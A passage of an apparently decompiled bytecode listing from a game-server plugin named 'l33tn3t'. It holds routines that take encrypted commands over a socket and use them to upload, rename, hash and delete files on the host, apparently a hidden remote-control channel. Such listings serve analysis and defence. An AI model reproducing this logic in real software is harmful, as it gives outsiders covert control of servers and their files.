  609. 0xF68                      CALL  0x20C8      ; stock bool:Validator_FileName(FileName[])
  610. 0xF70                      JZER  0xF88      
  611. 0xF78                 CONST.pri  0x1        
  612. 0xF80                      JUMP  0xF8C      
  613. 0xF88                  ZERO.pri
  614. 0xF8C                      JZER  0x10C8    
  615. 0xF94                     BREAK
  616.                                              ; new file_md5[34]
  617. 0xF98                     STACK  0xFFFFFF78  ; allocate 34 cells
  618. 0xFA0                  ZERO.pri
  619. 0xFA4                  ADDR.alt  0xFFFFEF78
  620. 0xFAC                      FILL  0x88        ; 34 cells
  621. 0xFB4                     BREAK
  622. 0xFB8                  PUSH.ADR  0xFFFFF000  ; data[1000]
  623. 0xFC0                    PUSH.C  0x4        
  624. 0xFC8                  SYSREQ.C  0x17        ; file_exists
  625. 0xFD0                     STACK  0x8         ; free 2 cells
  626. 0xFD8                      JZER  0x1014    
  627. 0xFE0                     BREAK
  628. 0xFE4                  PUSH.ADR  0xFFFFEF78  ; file_md5[34]
  629. 0xFEC                  PUSH.ADR  0xFFFFF000  ; data[1000]
  630. 0xFF4                    PUSH.C  0x8        
  631. 0xFFC                  SYSREQ.C  0x18        ; md5_file
  632. 0x1004                    STACK  0xC         ; free 3 cells
  633. 0x100C                     JUMP  0x1030    
  634. 0x1014                    BREAK
  635. 0x1018                 ADDR.alt  0xFFFFEF78
  636. 0x1020                CONST.pri  0x33C      
  637. 0x1028                     MOVS  0x8        
  638. 0x1030                    BREAK
  639. 0x1034                 PUSH.ADR  0xFFFFEF78  ; file_md5[34]
  640. 0x103C                 LOAD.pri  0x1F8       ; __l33tn3t_separator
  641. 0x1044                     HEAP  0x4        
  642. 0x104C                   STOR.I
  643. 0x1050                 PUSH.alt
  644. 0x1054                 PUSH.ADR  0xFFFFF000  ; data[1000]
  645. 0x105C                   PUSH.C  0x344      
  646. 0x1064                   PUSH.C  0x3E7      
  647. 0x106C                 PUSH.ADR  0xFFFFF000  ; data[1000]
  648. 0x1074                   PUSH.C  0x18      
  649. 0x107C                 SYSREQ.C  0x6         ; format
  650. 0x1084                    STACK  0x1C        ; free 7 cells
  651. 0x108C                     HEAP  0xFFFFFFFC
  652. 0x1094                    BREAK
  653. 0x1098                   PUSH.C  0xFFFFFFFF
  654. 0x10A0                 PUSH.ADR  0xFFFFF000  ; data[1000]
  655. 0x10A8                 PUSH.ADR  0xFFFFFFA0  ; command[24]
  656. 0x10B0                   PUSH.C  0xC        
  657. 0x10B8                     CALL  0x1E70      ; stock __l33tn3t_sock_send(command[],data[],data_len)
  658. 0x10C0                    STACK  0x88        ; free 34 cells
  659. 0x10C8                     JUMP  0x185C    
  660. 0x10D0                    BREAK
  661. 0x10D4                   PUSH.C  0x0        
  662. 0x10DC                   PUSH.C  0x360      
  663. 0x10E4                 PUSH.ADR  0xFFFFFFA0  ; command[24]
  664. 0x10EC                   PUSH.C  0xC        
  665. 0x10F4                 SYSREQ.C  0x16        ; equal
  666. 0x10FC                    STACK  0x10        ; free 4 cells
  667. 0x1104                     JZER  0x1768    
  668. 0x110C                    BREAK
  669.                                              ; new max_segment_len
  670. 0x1110                   PUSH.C  0x344      
  671. 0x1118                    BREAK
  672.                                              ; new file_name[128]
  673. 0x111C                    STACK  0xFFFFFE00  ; allocate 128 cells
  674. 0x1124                 ZERO.pri
  675. 0x1128                 ADDR.alt  0xFFFFEDFC
  676. 0x1130                     FILL  0x200       ; 128 cells
  677.                                              ; new current_segment
  678. 0x1138                   PUSH.C  0x0        
  679.                                              ; new segment_len
  680. 0x1140                   PUSH.C  0x0        
  681.                                              ; new file_md5[34]
  682. 0x1148                    STACK  0xFFFFFF78  ; allocate 34 cells
  683. 0x1150                 ZERO.pri
  684. 0x1154                 ADDR.alt  0xFFFFED6C
  685. 0x115C                     FILL  0x88        ; 34 cells
  686.                                              ; new tmp_file_name[256]
  687. 0x1164                    STACK  0xFFFFFC00  ; allocate 256 cells
  688. 0x116C                 ZERO.pri
  689. 0x1170                 ADDR.alt  0xFFFFE96C
  690. 0x1178                     FILL  0x400       ; 256 cells
  691. 0x1180                    BREAK
  692. 0x1184                 PUSH.ADR  0xFFFFF000  ; data[1000]
  693. 0x118C                   PUSH.C  0x7F      
  694. 0x1194                 PUSH.ADR  0xFFFFEDFC  ; file_name[128]
  695. 0x119C                   PUSH.C  0xC        
  696. 0x11A4                 SYSREQ.C  0x19        ; copy
  697. 0x11AC                    STACK  0x10        ; free 4 cells
  698. 0x11B4                    BREAK
  699. 0x11B8                 PUSH.ADR  0xFFFFEDFC  ; file_name[128]
  700. 0x11C0                   PUSH.C  0x4        
  701. 0x11C8                     CALL  0x20C8      ; stock bool:Validator_FileName(FileName[])
  702. 0x11D0                     JZER  0x1758    
  703. 0x11D8                    BREAK
  704. 0x11DC                 PUSH.ADR  0xFFFFEDFC  ; file_name[128]
  705. 0x11E4                   PUSH.C  0xFF      
  706. 0x11EC                 PUSH.ADR  0xFFFFE96C  ; tmp_file_name[256]
  707. 0x11F4                   PUSH.C  0xC        
  708. 0x11FC                 SYSREQ.C  0x19        ; copy
  709. 0x1204                    STACK  0x10        ; free 4 cells
  710. 0x120C                    BREAK
  711. 0x1210                   PUSH.C  0x38C      
  712. 0x1218                   PUSH.C  0x384      
  713. 0x1220                   PUSH.C  0xFF      
  714. 0x1228                 PUSH.ADR  0xFFFFE96C  ; tmp_file_name[256]
  715. 0x1230                   PUSH.C  0x10      
  716. 0x1238                     CALL  0x8         ; stock replace_all(string[],len,what[],with[])
  717. 0x1240                    BREAK
  718. 0x1244                 PUSH.ADR  0xFFFFE96C  ; tmp_file_name[256]
  719. 0x124C                   PUSH.C  0x1FC      
  720. 0x1254                   PUSH.C  0x394      
  721. 0x125C                   PUSH.C  0xFF      
  722. 0x1264                 PUSH.ADR  0xFFFFE96C  ; tmp_file_name[256]
  723. 0x126C                   PUSH.C  0x14      
  724. 0x1274                 SYSREQ.C  0x6         ; format
  725. 0x127C                    STACK  0x18        ; free 6 cells
  726. 0x1284                    BREAK
  727. 0x1288                 ADDR.pri  0xFFFFF000  ; data[1000]
  728. 0x1290                    ADD.C  0x200       ; signed:  512
  729. 0x1298                   LOAD.I
  730. 0x129C                 PUSH.pri
  731. 0x12A0                 ADDR.pri  0xFFFFF000  ; data[1000]
  732. 0x12A8                    ADD.C  0x204       ; signed:  516
  733. 0x12B0                   LOAD.I
  734. 0x12B4                 MOVE.alt
  735. 0x12B8                CONST.pri  0x8        
  736. 0x12C0                     XCHG
  737. 0x12C4                      SHL  0x2B      
  738. 0x12CC                      ADD
  739. 0x12D0               STOR.S.pri  0xFFFFEDF8  ; current_segment
  740. 0x12D8                    BREAK
  741. 0x12DC                 ADDR.pri  0xFFFFF000  ; data[1000]
  742. 0x12E4                    ADD.C  0x208       ; signed:  520
  743. 0x12EC                   LOAD.I
  744. 0x12F0                 PUSH.pri
  745. 0x12F4                 ADDR.pri  0xFFFFF000  ; data[1000]
  746. 0x12FC                    ADD.C  0x20C       ; signed:  524
  747. 0x1304                   LOAD.I
  748. 0x1308                 MOVE.alt
  749. 0x130C                CONST.pri  0x8        
  750. 0x1314                     XCHG
  751. 0x1318                      SHL  0x2B      
  752. 0x1320                      ADD
  753. 0x1324               STOR.S.pri  0xFFFFEDF4  ; segment_len
  754. 0x132C                    BREAK
  755. 0x1330                 ADDR.pri  0xFFFFF000  ; data[1000]
  756. 0x1338                    ADD.C  0x210       ; signed:  528
  757. 0x1340                 PUSH.pri
  758. 0x1344                   PUSH.C  0x20      
  759. 0x134C                 PUSH.ADR  0xFFFFED6C  ; file_md5[34]
  760. 0x1354                   PUSH.C  0xC        
  761. 0x135C                 SYSREQ.C  0x19        ; copy
  762. 0x1364                    STACK  0x10        ; free 4 cells
  763. 0x136C                    BREAK
  764.                                              ; new file
  765. 0x1370                    STACK  0xFFFFFFFC  ; allocate 1 cells
  766. 0x1378                   PUSH.C  0x3AC      
  767. 0x1380                 PUSH.ADR  0xFFFFE96C  ; tmp_file_name[256]
  768. 0x1388                   PUSH.C  0x8        
  769. 0x1390                 SYSREQ.C  0x1A        ; fopen
  770. 0x1398                    STACK  0xC         ; free 3 cells
  771. 0x13A0               STOR.S.pri  0xFFFFE968  ; file
  772. 0x13A8                    BREAK
  773. 0x13AC               LOAD.S.pri  0xFFFFE968  ; file
  774. 0x13B4                     JZER  0x1750    
  775. 0x13BC                    BREAK
  776. 0x13C0                   PUSH.C  0x0        
  777. 0x13C8               LOAD.S.pri  0xFFFFEDF8  ; current_segment
  778. 0x13D0               LOAD.S.alt  0xFFFFEFFC  ; max_segment_len
  779. 0x13D8                     SMUL
  780. 0x13DC                 PUSH.pri
  781. 0x13E0                   PUSH.S  0xFFFFE968  ; file
  782. 0x13E8                   PUSH.C  0xC        
  783. 0x13F0                 SYSREQ.C  0x1B        ; fseek
  784. 0x13F8                    STACK  0x10        ; free 4 cells
  785. 0x1400                    BREAK
  786.                                              ; new i
  787. 0x1404                   PUSH.C  0x0        
  788. 0x140C                     JUMP  0x1420    
  789. 0x1414                    BREAK
  790. 0x1418                    INC.S  0xFFFFE964  ; i
  791. 0x1420               LOAD.S.pri  0xFFFFE964  ; i
  792. 0x1428               LOAD.S.alt  0xFFFFEDF4  ; segment_len
  793. 0x1430                    JSGEQ  0x1498    
  794. 0x1438                    BREAK
  795. 0x143C                 ADDR.pri  0xFFFFF000  ; data[1000]
  796. 0x1444                 PUSH.pri
  797. 0x1448               LOAD.S.pri  0xFFFFE964  ; i
  798. 0x1450                    ADD.C  0xA4        ; signed:  164
  799. 0x1458                   BOUNDS  0x3E7      
  800. 0x1460                  POP.alt
  801. 0x1464                  IDXADDR
  802. 0x1468                   LOAD.I
  803. 0x146C                 PUSH.pri
  804. 0x1470                   PUSH.S  0xFFFFE968  ; file
  805. 0x1478                   PUSH.C  0x8        
  806. 0x1480                 SYSREQ.C  0x1C        ; fputc
  807. 0x1488                    STACK  0xC         ; free 3 cells
  808. 0x1490                     JUMP  0x1414    
  809. 0x1498                    STACK  0x4         ; free 1 cells
  810. 0x14A0                    BREAK
  811. 0x14A4                   PUSH.S  0xFFFFE968  ; file
  812. 0x14AC                   PUSH.C  0x4        
  813. 0x14B4                 SYSREQ.C  0x1D        ; fclose
  814. 0x14BC                    STACK  0x8         ; free 2 cells
  815. 0x14C4                    BREAK
  816.                                              ; new tmp_file_md5[34]
  817. 0x14C8                    STACK  0xFFFFFF78  ; allocate 34 cells
  818. 0x14D0                 ZERO.pri
  819. 0x14D4                 ADDR.alt  0xFFFFE8E0
  820. 0x14DC                     FILL  0x88        ; 34 cells
  821. 0x14E4                    BREAK
  822. 0x14E8                 PUSH.ADR  0xFFFFE8E0  ; tmp_file_md5[34]
  823. 0x14F0                 PUSH.ADR  0xFFFFE96C  ; tmp_file_name[256]
  824. 0x14F8                   PUSH.C  0x8        
  825. 0x1500                 SYSREQ.C  0x18        ; md5_file
  826. 0x1508                    STACK  0xC         ; free 3 cells
  827. 0x1510                    BREAK
  828. 0x1514                   PUSH.C  0x0        
  829. 0x151C                 PUSH.ADR  0xFFFFED6C  ; file_md5[34]
  830. 0x1524                 PUSH.ADR  0xFFFFE8E0  ; tmp_file_md5[34]
  831. 0x152C                   PUSH.C  0xC        
  832. 0x1534                 SYSREQ.C  0x16        ; equal
  833. 0x153C                    STACK  0x10        ; free 4 cells
  834. 0x1544                     JZER  0x16B8    
  835. 0x154C                    BREAK
  836.                                              ; new temp_dir_path[128]
  837. 0x1550                    STACK  0xFFFFFE00  ; allocate 128 cells
  838. 0x1558                 ZERO.pri
  839. 0x155C                 ADDR.alt  0xFFFFE6E0
  840. 0x1564                     FILL  0x200       ; 128 cells
  841. 0x156C                    BREAK
  842.                                              ; new file_name_len
  843. 0x1570                    STACK  0xFFFFFFFC  ; allocate 1 cells
  844. 0x1578                 PUSH.ADR  0xFFFFEDFC  ; file_name[128]
  845. 0x1580                   PUSH.C  0x4        
  846. 0x1588                 SYSREQ.C  0x1         ; strlen
  847. 0x1590                    STACK  0x8         ; free 2 cells
  848. 0x1598               STOR.S.pri  0xFFFFE6DC  ; file_name_len
  849. 0x15A0                    BREAK
  850.                                              ; new i
  851. 0x15A4                   PUSH.C  0x0        
  852. 0x15AC                     JUMP  0x15C0    
  853. 0x15B4                    BREAK
  854. 0x15B8                    INC.S  0xFFFFE6D8  ; i
  855. 0x15C0               LOAD.S.pri  0xFFFFE6D8  ; i
  856. 0x15C8               LOAD.S.alt  0xFFFFE6DC  ; file_name_len
  857. 0x15D0                    JSGEQ  0x1674    
  858. 0x15D8                    BREAK
  859. 0x15DC                 ADDR.alt  0xFFFFEDFC
  860. 0x15E4               LOAD.S.pri  0xFFFFE6D8  ; i
  861. 0x15EC                   BOUNDS  0x7F      
  862. 0x15F4                     LIDX
  863. 0x15F8                 EQ.C.pri  0x2F      
  864. 0x1600                     JZER  0x166C    
  865. 0x1608                    BREAK
  866. 0x160C                 PUSH.ADR  0xFFFFEDFC  ; file_name[128]
  867. 0x1614               LOAD.S.pri  0xFFFFE6D8  ; i
  868. 0x161C                    ADD.C  0x1         ; signed:  1
  869. 0x1624                 PUSH.pri
  870. 0x1628                 PUSH.ADR  0xFFFFE6E0  ; temp_dir_path[128]
  871. 0x1630                   PUSH.C  0xC        
  872. 0x1638                 SYSREQ.C  0x19        ; copy
  873. 0x1640                    STACK  0x10        ; free 4 cells
  874. 0x1648                    BREAK
  875. 0x164C                 PUSH.ADR  0xFFFFE6E0  ; temp_dir_path[128]
  876. 0x1654                   PUSH.C  0x4        
  877. 0x165C                 SYSREQ.C  0xC         ; mkdir
  878. 0x1664                    STACK  0x8         ; free 2 cells
  879. 0x166C                     JUMP  0x15B4    
  880. 0x1674                    STACK  0x4         ; free 1 cells
  881. 0x167C                    BREAK
  882. 0x1680                   PUSH.C  0x1        
  883. 0x1688                 PUSH.ADR  0xFFFFEDFC  ; file_name[128]
  884. 0x1690                 PUSH.ADR  0xFFFFE96C  ; tmp_file_name[256]
  885. 0x1698                   PUSH.C  0xC        
  886. 0x16A0                 SYSREQ.C  0x1E        ; rename_file
  887. 0x16A8                    STACK  0x10        ; free 4 cells
  888. 0x16B0                    STACK  0x204       ; free 129 cells
  889. 0x16B8                    BREAK
  890. 0x16BC                 PUSH.ADR  0xFFFFEDF8  ; current_segment
  891. 0x16C4                 LOAD.pri  0x1F8       ; __l33tn3t_separator
  892. 0x16CC                     HEAP  0x4        
  893. 0x16D4                   STOR.I
  894. 0x16D8                 PUSH.alt
  895. 0x16DC                 PUSH.ADR  0xFFFFEDFC  ; file_name[128]
  896. 0x16E4                   PUSH.C  0x3BC      
  897. 0x16EC                   PUSH.C  0x3E7      
  898. 0x16F4                 PUSH.ADR  0xFFFFF000  ; data[1000]
  899. 0x16FC                   PUSH.C  0x18      
  900. 0x1704                 SYSREQ.C  0x6         ; format
  901. 0x170C                    STACK  0x1C        ; free 7 cells
  902. 0x1714                     HEAP  0xFFFFFFFC
  903. 0x171C                    BREAK
  904. 0x1720                   PUSH.C  0xFFFFFFFF
  905. 0x1728                 PUSH.ADR  0xFFFFF000  ; data[1000]
  906. 0x1730                   PUSH.C  0x3D8      
  907. 0x1738                   PUSH.C  0xC        
  908. 0x1740                     CALL  0x1E70      ; stock __l33tn3t_sock_send(command[],data[],data_len)
  909. 0x1748                    STACK  0x88        ; free 34 cells
  910. 0x1750                    STACK  0x4         ; free 1 cells
  911. 0x1758                    STACK  0x694       ; free 421 cells
  912. 0x1760                     JUMP  0x185C    
  913. 0x1768                    BREAK
  914. 0x176C                   PUSH.C  0x0        
  915. 0x1774                   PUSH.C  0x408      
  916. 0x177C                 PUSH.ADR  0xFFFFFFA0  ; command[24]
  917. 0x1784                   PUSH.C  0xC        
  918. 0x178C                 SYSREQ.C  0x16        ; equal
  919. 0x1794                    STACK  0x10        ; free 4 cells
  920. 0x179C                     JZER  0x185C    
  921. 0x17A4                    BREAK
  922. 0x17A8                 PUSH.ADR  0xFFFFF000  ; data[1000]
  923. 0x17B0                   PUSH.C  0x4        
  924. 0x17B8                 SYSREQ.C  0x1         ; strlen
  925. 0x17C0                    STACK  0x8         ; free 2 cells
  926. 0x17C8                     JZER  0x1800    
  927. 0x17D0                 PUSH.ADR  0xFFFFF000  ; data[1000]
  928. 0x17D8                   PUSH.C  0x4        
  929. 0x17E0                     CALL  0x20C8      ; stock bool:Validator_FileName(FileName[])
  930. 0x17E8                     JZER  0x1800    
  931. 0x17F0                CONST.pri  0x1        
  932. 0x17F8                     JUMP  0x1804    
  933. 0x1800                 ZERO.pri
  934. 0x1804                     JZER  0x185C    
  935. 0x180C                    BREAK
  936. 0x1810                 PUSH.ADR  0xFFFFF000  ; data[1000]
  937. 0x1818                   PUSH.C  0x4        
  938. 0x1820                 SYSREQ.C  0x17        ; file_exists
  939. 0x1828                    STACK  0x8         ; free 2 cells
  940. 0x1830                     JZER  0x185C    
  941. 0x1838                    BREAK
  942. 0x183C                 PUSH.ADR  0xFFFFF000  ; data[1000]
  943. 0x1844                   PUSH.C  0x4        
  944. 0x184C                 SYSREQ.C  0x1F        ; delete_file
  945. 0x1854                    STACK  0x8         ; free 2 cells
  946. 0x185C                     JUMP  0xE80      
  947. 0x1864                    STACK  0x1000      ; free 1024 cells
  948. 0x186C                 ZERO.pri
  949. 0x1870                     RETN
  950. 0x1874                     PROC              ; stock __l33tn3t_plugin_end()
  951. 0x1878                    BREAK
  952. 0x187C                    BREAK
  953. 0x1880                 LOAD.pri  0x238       ; bool:__l33tn3t_enabled
  954. 0x1888                      NOT
  955. 0x188C                     JZER  0x18A0    
  956. 0x1894                    BREAK
  957. 0x1898                 ZERO.pri
  958. 0x189C                     RETN
  959. 0x18A0                    BREAK
  960. 0x18A4                   PUSH.C  0x0        
  961. 0x18AC                     PUSH  0x240       ; __l33tn3t_socket_check_taskid
  962. 0x18B4                   PUSH.C  0x8        
  963. 0x18BC                 SYSREQ.C  0x20        ; task_exists
  964. 0x18C4                    STACK  0xC         ; free 3 cells
  965. 0x18CC                     JZER  0x1900    
  966. 0x18D4                    BREAK
  967. 0x18D8                   PUSH.C  0x0        
  968. 0x18E0                     PUSH  0x240       ; __l33tn3t_socket_check_taskid
  969. 0x18E8                   PUSH.C  0x8        
  970. 0x18F0                 SYSREQ.C  0x21        ; remove_task
  971. 0x18F8                    STACK  0xC         ; free 3 cells
  972. 0x1900                    BREAK
  973. 0x1904                   PUSH.C  0x0        
  974. 0x190C                     CALL  0x198C      ; stock __l33tn3t_flush_temp()
  975. 0x1914                    BREAK
  976. 0x1918                   PUSH.C  0x1FC      
  977. 0x1920                   PUSH.C  0x4        
  978. 0x1928                 SYSREQ.C  0x22        ; rmdir
  979. 0x1930                    STACK  0x8         ; free 2 cells
  980. 0x1938                    BREAK
  981. 0x193C                 LOAD.pri  0x244       ; __l33tn3t_socket
  982. 0x1944                 MOVE.alt
  983. 0x1948                 ZERO.pri
  984. 0x194C                    JSGEQ  0x1984    
  985. 0x1954                    BREAK
  986. 0x1958                     PUSH  0x244       ; __l33tn3t_socket
  987. 0x1960                   PUSH.C  0x4        
  988. 0x1968                 SYSREQ.C  0x23        ; socket_close
  989. 0x1970                    STACK  0x8         ; free 2 cells
  990. 0x1978                    BREAK
  991. 0x197C                     ZERO  0x244       ; __l33tn3t_socket
  992. 0x1984                 ZERO.pri
  993. 0x1988                     RETN
  994. 0x198C                     PROC              ; stock __l33tn3t_flush_temp()
  995. 0x1990                    BREAK
  996. 0x1994                    BREAK
  997.                                              ; new tmp_file_name[256]
  998. 0x1998                    STACK  0xFFFFFC00  ; allocate 256 cells
  999. 0x19A0                 ZERO.pri
  1000. 0x19A4                 ADDR.alt  0xFFFFFC00
  1001. 0x19AC                     FILL  0x400       ; 256 cells
  1002. 0x19B4                    BREAK
  1003.                                              ; new dir
  1004. 0x19B8                    STACK  0xFFFFFFFC  ; allocate 1 cells
  1005. 0x19C0                   PUSH.C  0xFF      
  1006. 0x19C8                 PUSH.ADR  0xFFFFFC00  ; tmp_file_name[256]
  1007. 0x19D0                   PUSH.C  0x1FC      
  1008. 0x19D8                   PUSH.C  0xC        
  1009. 0x19E0                 SYSREQ.C  0x24        ; open_dir
  1010. 0x19E8                    STACK  0x10        ; free 4 cells
  1011. 0x19F0               STOR.S.pri  0xFFFFFBFC  ; dir
  1012. 0x19F8                    BREAK
  1013. 0x19FC               LOAD.S.pri  0xFFFFFBFC  ; dir
  1014. 0x1A04                      NOT
  1015. 0x1A08                     JZER  0x1A24    
  1016. 0x1A10                    BREAK
  1017. 0x1A14                 ZERO.pri
  1018. 0x1A18                    STACK  0x404       ; free 257 cells
  1019. 0x1A20                     RETN
  1020. 0x1A24                    BREAK
  1021. 0x1A28                    BREAK
  1022. 0x1A2C                   PUSH.C  0x0        
  1023. 0x1A34                   PUSH.C  0x434      
  1024. 0x1A3C                 PUSH.ADR  0xFFFFFC00  ; tmp_file_name[256]
  1025. 0x1A44                   PUSH.C  0xC        
  1026. 0x1A4C                 SYSREQ.C  0x16        ; equal
  1027. 0x1A54                    STACK  0x10        ; free 4 cells
  1028. 0x1A5C                      NOT
  1029. 0x1A60                     JZER  0x1AB4    
  1030. 0x1A68                   PUSH.C  0x0        
  1031. 0x1A70                   PUSH.C  0x43C      
  1032. 0x1A78                 PUSH.ADR  0xFFFFFC00  ; tmp_file_name[256]
  1033. 0x1A80                   PUSH.C  0xC        
  1034. 0x1A88                 SYSREQ.C  0x16        ; equal
  1035. 0x1A90                    STACK  0x10        ; free 4 cells
  1036. 0x1A98                      NOT
  1037. 0x1A9C                     JZER  0x1AB4    
  1038. 0x1AA4                CONST.pri  0x1        
  1039. 0x1AAC                     JUMP  0x1AB8    
  1040. 0x1AB4                 ZERO.pri
  1041. 0x1AB8                     JZER  0x1B28    
  1042. 0x1AC0                    BREAK
  1043. 0x1AC4                 PUSH.ADR  0xFFFFFC00  ; tmp_file_name[256]
  1044. 0x1ACC                   PUSH.C  0x1FC      
  1045. 0x1AD4                   PUSH.C  0x448      
  1046. 0x1ADC                   PUSH.C  0xFF      
  1047. 0x1AE4                 PUSH.ADR  0xFFFFFC00  ; tmp_file_name[256]
  1048. 0x1AEC                   PUSH.C  0x14      
  1049. 0x1AF4                 SYSREQ.C  0x6         ; format
  1050. 0x1AFC                    STACK  0x18        ; free 6 cells
  1051. 0x1B04                    BREAK
  1052. 0x1B08                 PUSH.ADR  0xFFFFFC00  ; tmp_file_name[256]
  1053. 0x1B10                   PUSH.C  0x4        
  1054. 0x1B18                 SYSREQ.C  0x1F        ; delete_file
  1055. 0x1B20                    STACK  0x8         ; free 2 cells
  1056. 0x1B28                    BREAK
  1057. 0x1B2C                   PUSH.C  0xFF      
  1058. 0x1B34                 PUSH.ADR  0xFFFFFC00  ; tmp_file_name[256]
  1059. 0x1B3C                   PUSH.S  0xFFFFFBFC  ; dir
  1060. 0x1B44                   PUSH.C  0xC        
  1061. 0x1B4C                 SYSREQ.C  0x25        ; next_file
  1062. 0x1B54                    STACK  0x10        ; free 4 cells
  1063. 0x1B5C                     JZER  0x1B6C    
  1064. 0x1B64                     JUMP  0x1A28    
  1065. 0x1B6C                    BREAK
  1066. 0x1B70                   PUSH.S  0xFFFFFBFC  ; dir
  1067. 0x1B78                   PUSH.C  0x4        
  1068. 0x1B80                 SYSREQ.C  0x26        ; close_dir
  1069. 0x1B88                    STACK  0x8         ; free 2 cells
  1070. 0x1B90                    STACK  0x404       ; free 257 cells
  1071. 0x1B98                 ZERO.pri
  1072. 0x1B9C                     RETN
  1073. 0x1BA0                     PROC              ; stock __l33tn3t_memcpy(dst[],tocopy,src[])
  1074. 0x1BA4                    BREAK
  1075. 0x1BA8                    BREAK
  1076.                                              ; new i
  1077. 0x1BAC                   PUSH.C  0x0        
  1078. 0x1BB4                     JUMP  0x1BC8    
  1079. 0x1BBC                    BREAK
  1080. 0x1BC0                    INC.S  0xFFFFFFFC  ; i
  1081. 0x1BC8               LOAD.S.pri  0xFFFFFFFC  ; i
  1082. 0x1BD0               LOAD.S.alt  0x10        ; tocopy
  1083. 0x1BD8                    JSGEQ  0x1C24    
  1084. 0x1BE0                    BREAK
  1085. 0x1BE4               LOAD.S.pri  0xFFFFFFFC  ; i
  1086. 0x1BEC               LOAD.S.alt  0xC         ; dst[]
  1087. 0x1BF4                  IDXADDR
  1088. 0x1BF8                 PUSH.pri
  1089. 0x1BFC               LOAD.S.pri  0xFFFFFFFC  ; i
  1090. 0x1C04               LOAD.S.alt  0x14        ; src[]
  1091. 0x1C0C                  IDXADDR
  1092. 0x1C10                   LOAD.I
  1093. 0x1C14                  POP.alt
  1094. 0x1C18                   STOR.I
  1095. 0x1C1C                     JUMP  0x1BBC    
  1096. 0x1C24                    STACK  0x4         ; free 1 cells
  1097. 0x1C2C                 ZERO.pri
  1098. 0x1C30                     RETN
  1099. 0x1C34                     PROC              ; stock __l33tn3t_sock_recv(command[24],data[1000])
  1100. 0x1C38                    BREAK
  1101. 0x1C3C                    BREAK
  1102.                                              ; new packet[1031]
  1103. 0x1C40                    STACK  0xFFFFEFE4  ; allocate 1031 cells
  1104. 0x1C48                 ZERO.pri
  1105. 0x1C4C                 ADDR.alt  0xFFFFEFE4
  1106. 0x1C54                     FILL  0x101C      ; 1031 cells
  1107. 0x1C5C                    BREAK
  1108.                                              ; new received_bytes
  1109. 0x1C60                    STACK  0xFFFFFFFC  ; allocate 1 cells
  1110. 0x1C68                   PUSH.C  0x407      
  1111. 0x1C70                 PUSH.ADR  0xFFFFEFE4  ; packet[1031]
  1112. 0x1C78                     PUSH  0x244       ; __l33tn3t_socket
  1113. 0x1C80                   PUSH.C  0xC        
  1114. 0x1C88                 SYSREQ.C  0x27        ; socket_recv
  1115. 0x1C90                    STACK  0x10        ; free 4 cells
  1116. 0x1C98               STOR.S.pri  0xFFFFEFE0  ; received_bytes
  1117. 0x1CA0                    BREAK
  1118. 0x1CA4               LOAD.S.pri  0xFFFFEFE0  ; received_bytes
  1119. 0x1CAC                CONST.alt  0x406      
  1120. 0x1CB4                      JEQ  0x1CD0    
  1121. 0x1CBC                    BREAK
  1122. 0x1CC0                 ZERO.pri
  1123. 0x1CC4                    STACK  0x1020      ; free 1032 cells
  1124. 0x1CCC                     RETN
  1125. 0x1CD0                    BREAK
  1126.                                              ; new i
  1127. 0x1CD4                   PUSH.C  0x0        
  1128. 0x1CDC                     JUMP  0x1CF0    
  1129. 0x1CE4                    BREAK
  1130. 0x1CE8                    INC.S  0xFFFFEFDC  ; i
  1131. 0x1CF0               LOAD.S.pri  0xFFFFEFDC  ; i
  1132. 0x1CF8                CONST.alt  0x406      
  1133. 0x1D00                    JSGEQ  0x1D4C    
  1134. 0x1D08                    BREAK
  1135. 0x1D0C                 ADDR.alt  0xFFFFEFE4
  1136. 0x1D14               LOAD.S.pri  0xFFFFEFDC  ; i
  1137. 0x1D1C                   BOUNDS  0x406      
  1138. 0x1D24                  IDXADDR
  1139. 0x1D28                 PUSH.pri
  1140. 0x1D2C                   LOAD.I
  1141. 0x1D30                CONST.alt  0xFF      
  1142. 0x1D38                      AND
  1143. 0x1D3C                  POP.alt
  1144. 0x1D40                   STOR.I
  1145. 0x1D44                     JUMP  0x1CE4    
  1146. 0x1D4C                    STACK  0x4         ; free 1 cells
  1147. 0x1D54                    BREAK
  1148. 0x1D58                   PUSH.C  0x406      
  1149. 0x1D60                 PUSH.ADR  0xFFFFEFE4  ; packet[1031]
  1150. 0x1D68                   PUSH.C  0x150      
  1151. 0x1D70                   PUSH.C  0x4        
  1152. 0x1D78                 SYSREQ.C  0x1         ; strlen
  1153. 0x1D80                    STACK  0x8         ; free 2 cells
  1154. 0x1D88                 PUSH.pri
  1155. 0x1D8C                   PUSH.C  0x150      
  1156. 0x1D94                   PUSH.C  0x10      
  1157. 0x1D9C                     CALL  0x23C4      ; stock Encryption_RC4(Key[],KeyLen,Buffer[],BufferLen)
  1158. 0x1DA4                    BREAK
  1159. 0x1DA8                 ADDR.pri  0xFFFFEFE4  ; packet[1031]
  1160. 0x1DB0                    ADD.C  0x14        ; signed:  20
  1161. 0x1DB8                   LOAD.I
  1162. 0x1DBC                CONST.alt  0x23      
  1163. 0x1DC4                      JEQ  0x1DE0    
  1164. 0x1DCC                    BREAK
  1165. 0x1DD0                 ZERO.pri
  1166. 0x1DD4                    STACK  0x1020      ; free 1032 cells
  1167. 0x1DDC                     RETN
  1168. 0x1DE0                    BREAK
  1169. 0x1DE4                 ADDR.pri  0xFFFFEFE4  ; packet[1031]
  1170. 0x1DEC                    ADD.C  0x18        ; signed:  24
  1171. 0x1DF4                 PUSH.pri
  1172. 0x1DF8                   PUSH.C  0x17      
  1173. 0x1E00                   PUSH.S  0xC         ; command[24]
  1174. 0x1E08                   PUSH.C  0xC        
  1175. 0x1E10                 SYSREQ.C  0x19        ; copy
  1176. 0x1E18                    STACK  0x10        ; free 4 cells
  1177. 0x1E20                    BREAK
  1178. 0x1E24                 ADDR.pri  0xFFFFEFE4  ; packet[1031]
  1179. 0x1E2C                    ADD.C  0x78        ; signed:  120
  1180. 0x1E34                 PUSH.pri
  1181. 0x1E38                   PUSH.C  0x3E8      
  1182. 0x1E40                   PUSH.S  0x10        ; data[1000]
  1183. 0x1E48                   PUSH.C  0xC        
  1184. 0x1E50                     CALL  0x1BA0      ; stock __l33tn3t_memcpy(dst[],tocopy,src[])
  1185. 0x1E58                    BREAK
  1186. 0x1E5C                CONST.pri  0x1        
  1187. 0x1E64                    STACK  0x1020      ; free 1032 cells
  1188. 0x1E6C                     RETN
  1189. 0x1E70                     PROC              ; stock __l33tn3t_sock_send(command[],data[],data_len)
  1190. 0x1E74                    BREAK
  1191. 0x1E78                    BREAK
  1192.                                              ; new packet[1030]
